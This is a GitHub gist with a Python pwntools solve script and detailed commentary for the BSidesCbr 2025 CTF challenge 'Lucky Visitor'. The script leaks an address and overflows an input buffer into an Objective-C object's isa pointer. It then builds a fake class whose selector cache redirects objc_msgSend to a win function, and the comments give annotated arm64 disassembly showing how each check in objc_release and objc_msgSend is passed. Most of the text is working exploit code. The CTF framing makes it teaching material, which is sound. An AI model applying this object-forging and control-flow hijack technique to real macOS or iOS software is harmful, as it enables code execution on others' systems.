Last active
September 27, 2025 07:38
-
-
Save ninjaprawn/2c22a32345ba6d43406a815abffc1e16 to your computer and use it in GitHub Desktop.
BSidesCbr 2025 - Lucky Visitor
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from pwn import remote | |
| from pwn import p64, p32 | |
| DEVICE_ID = '' | |
| conn = remote('c.sk8.dog', 30001) | |
| conn.send(f'CONNECT challenge.{DEVICE_ID}:1337 HTTP/1.1\n\n'.encode()) | |
| [conn.recvline() for _ in range(3)] # consume HTTP response status line / headers | |
| win_line = conn.recvline() | |
| win_addr = win_line.split(b"number ")[1].split(b"!")[0] | |
| addr_addr = 0x10000c018 | |
| real_win = 0x100004000 | |
| offset_from_win_to_addr = addr_addr - real_win | |
| slid_addr_addr = int(win_addr) + offset_from_win_to_addr | |
| print(f"Slid address of 'address': {hex(slid_addr_addr)}") | |
| # break on objc_release just before objc_msgSend | |
| print(f"break set -a 0x1990b1d98 -c \"$x0 == {hex(slid_addr_addr)}\"") | |
| # break on objc_msgSend on the critical cmp | |
| print(f"break set -a 0x1990b0d6c -c \"$x0 == {hex(slid_addr_addr)}\"") | |
| conn.recvuntil(b"? ") # Fruit prompt, | |
| # Overflow from fruit into iphone->isa, and point it to the 'address' address and construct fake isa | |
| conn.sendline(b"A"*20 + p64(slid_addr_addr) + b"\x00"*4) | |
| conn.recvuntil(b"? ") | |
| print("Sending fakeobj") | |
| """ | |
| Once we replace the isa pointer, we will get an objc_release call on the object. We want to get to an objc_msgSend, which will call "release" on the object. | |
| libobjc.A.dylib`objc_release: | |
| 0x1990b1d18 <+8>: ldxr x8, [x0] | |
| 0x1990b1d1c <+12>: and x9, x8, #0xffffffff8 | |
| 0x1990b1d20 <+16>: ldrb w10, [x9, #0x20] | |
| 0x1990b1d24 <+20>: tbz w10, #0x2, 0x1990b1d74 ; <+100> | |
| ... | |
| 0x1990b1d74 <+100>: clrex | |
| 0x1990b1d78 <+104>: ldrsh w8, [x9, #0x1c] | |
| 0x1990b1d7c <+108>: tbz w8, #0x1f, 0x1990b1d90 ; <+128> | |
| 0x1990b1d80 <+112>: ldrb w8, [x9, #0x20] | |
| 0x1990b1d84 <+116>: tbz w8, #0x1, 0x1990b1d90 ; <+128> | |
| 0x1990b1d88 <+120>: ldrb w8, [x9, #0x28] | |
| 0x1990b1d8c <+124>: tbnz w8, #0x1, 0x1990b1dbc ; <+172> | |
| 0x1990b1d90 <+128>: adrp x8, 12372 | |
| 0x1990b1d94 <+132>: add x1, x8, #0xc52 ; =0xc52 | |
| 0x1990b1d98 <+136>: b 0x1990b0ce0 ; objc_msgSend | |
| In order to pass these checks, we need the following: | |
| x9 = (*address & 0xffffffff8) | |
| *(x9+0x20) & 4 == 0 | |
| *(x9+0x20) & 2 == 0 | |
| Set a breakpoint on objc_release+136 after lldb attaches, like so (offset of objc_release may be diff in your lldb, where second address the slid address printed out): | |
| > break set -a 0x1990b1d98 -c "$x0 == 0x1044a8018" | |
| Breakpoint 1: where = libobjc.A.dylib`objc_release + 136, address = 0x00000001990b1d98 | |
| In order to pass the check: | |
| First pointer value in the fake object should point to somewhere in the controlled address buffer | |
| That address + 0x20 should be 0 | |
| """ | |
| """ | |
| Now, we need to construct the object so we call the win function. If not familiar with ObjC: | |
| - objc_msgSend is the underlying function to call methods at runtime. method names are called 'selectors'. | |
| - The isa struct/class has a cache, where if the passed in selector is in the cache, it will directly call the function pointer stored. | |
| So we need to populate the correct offsets with the correct values to call win. | |
| First, at the breakpoint, inspecting x1 will reveal its a pointer to a string called 'release'. This is our selector. We'll see how it's used later on. | |
| If you disassemble objc_msgSend, you'll see there are two `br x17` calls. We want to get to the second one at +156 (the first one has math which I don't believe you can succeed in to get to the call). | |
| First, we need to get to that area. Theres a branch to +112: | |
| libobjc.A.dylib`objc_msgSend: | |
| 0x1990b0ce0 <+0>: cmp x0, #0x0 ; =0x0 | |
| 0x1990b0ce4 <+4>: b.le 0x1990b0d8c ; <+172> | |
| 0x1990b0ce8 <+8>: ldr x13, [x0] | |
| 0x1990b0cec <+12>: and x16, x13, #0xffffffff8 | |
| 0x1990b0cf0 <+16>: mov x15, x16 | |
| 0x1990b0cf4 <+20>: ldr x11, [x16, #0x10] | |
| 0x1990b0cf8 <+24>: and x10, x11, #0xfffffffffffe | |
| 0x1990b0cfc <+28>: tbnz w11, #0x0, 0x1990b0d50 ; <+112> | |
| To succeed this check: | |
| x13 = (*address) //(note that x0 wasn't modified by objcRelease) | |
| x15 = x16 = x13 & 0xffffffff8 | |
| x11 = *(x16+0x10) | |
| x10 = x11 & 0xfffffffffffe | |
| x11 & 1 == 1 | |
| So we need to make sure we add 1 to whatever value is at address+0x10. | |
| 0x1990b0d50 <+112>: adrp x9, 10228 | |
| 0x1990b0d54 <+116>: add x9, x9, #0x6d2 ; =0x6d2 | |
| 0x1990b0d58 <+120>: sub x12, x1, x9 | |
| 0x1990b0d5c <+124>: lsr x17, x11, #48 | |
| 0x1990b0d60 <+128>: lsr w9, w12, w17 | |
| 0x1990b0d64 <+132>: and x9, x9, x11, lsr #53 | |
| 0x1990b0d68 <+136>: ldr x17, [x10, x9, lsl #3] | |
| 0x1990b0d6c <+140>: cmp x12, x17, lsr #38 | |
| 0x1990b0d70 <+144>: b.ne 0x1990b0d80 ; <+160> | |
| 0x1990b0d74 <+148>: sbfiz x17, x17, #2, #38 | |
| 0x1990b0d78 <+152>: sub x17, x16, x17 | |
| 0x1990b0d7c <+156>: br x17 | |
| Now we get to the selector cache check. The first bit will put an instruction-releative address in x9, then subtract it from x9. Since both are in the same memory block (dyld_shared_cache), this will "remove" any ASLR. | |
| x12 will essentially be an offset from a specific address (seems to be the start of a list of selectors, but it doesn't matter that much) | |
| Remember that x11 is a value we control. The code looks like this: | |
| x12 = x9 - <fixed location> //offset | |
| x17 = x11 >> 48 | |
| w9 = w12 >> w17 | |
| x9 = x9 & (x11>>53) | |
| x17 = *(x10 + x9) // remembering that x10 is essentially *((*addr)+0x10) - 1 | |
| x12 == (x17 >> 38) | |
| We need to pass the final condition to hit the branch x17. First, we need to know what x12 is, which can be found via debugging and breaking after the sub: | |
| (lldb) reg read x12 | |
| x12 = 0x0000000000861580 | |
| Now we need the x17 read to go through. Consider that we control x11/x10. The highest 2 bytes are used for that calculation. If we ensure that x11 >> 53 == 0, then we guarantee x9 can be 0. | |
| But x10 is a read, which will go somewhere in our address buffer. Since the address is way lower than 1<<48, we effectively bypass this check when we supply the address. | |
| So in summary, x10, which is '*(addr+0x10) - 1', needs to be a valid pointer into our fake object, where the value of which is 0x0861580 << 38. | |
| There are then two instructions before the branch: | |
| 0x1990b0d74 <+148>: sbfiz x17, x17, #2, #38 | |
| 0x1990b0d78 <+152>: sub x17, x16, x17 | |
| 0x1990b0d7c <+156>: br x17 | |
| The first will shift x17 2 bits, then extract the bottom 38 bits. This is a neat trick since the bits above 38 are used for the selector 'key', so we can use the remaining bits for an offset. | |
| This extracted value is subtracted from x16, which is the pointer in *address. So in order to set this to the win function (which is located above the address variable), we supply the offset from the win function, and shift it right by 2 bits. | |
| """ | |
| release_selector_val = 0x0000000000861580 | |
| fakeobj = p64(slid_addr_addr) | |
| fakeobj += p64((release_selector_val << 38) + (offset_from_win_to_addr >> 2)) # Selector + offset, as mentioned above | |
| fakeobj += p64((slid_addr_addr+0x8) | 1) # +0x10, need the 1 bit set to 1. Point this to addr+8, which contains the selector value and the function offset | |
| fakeobj += b"\x00"*(0x20 - len(fakeobj)) # pad to the check value | |
| fakeobj += p64(0) # value check to get to objc_msgSend | |
| # Fill out the remainder with zeros | |
| fakeobj += b"\x00"*(0x40-len(fakeobj)) | |
| conn.sendline(fakeobj) | |
| print(conn.recvline()) | |
| print(conn.recvline()) | |
| conn.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment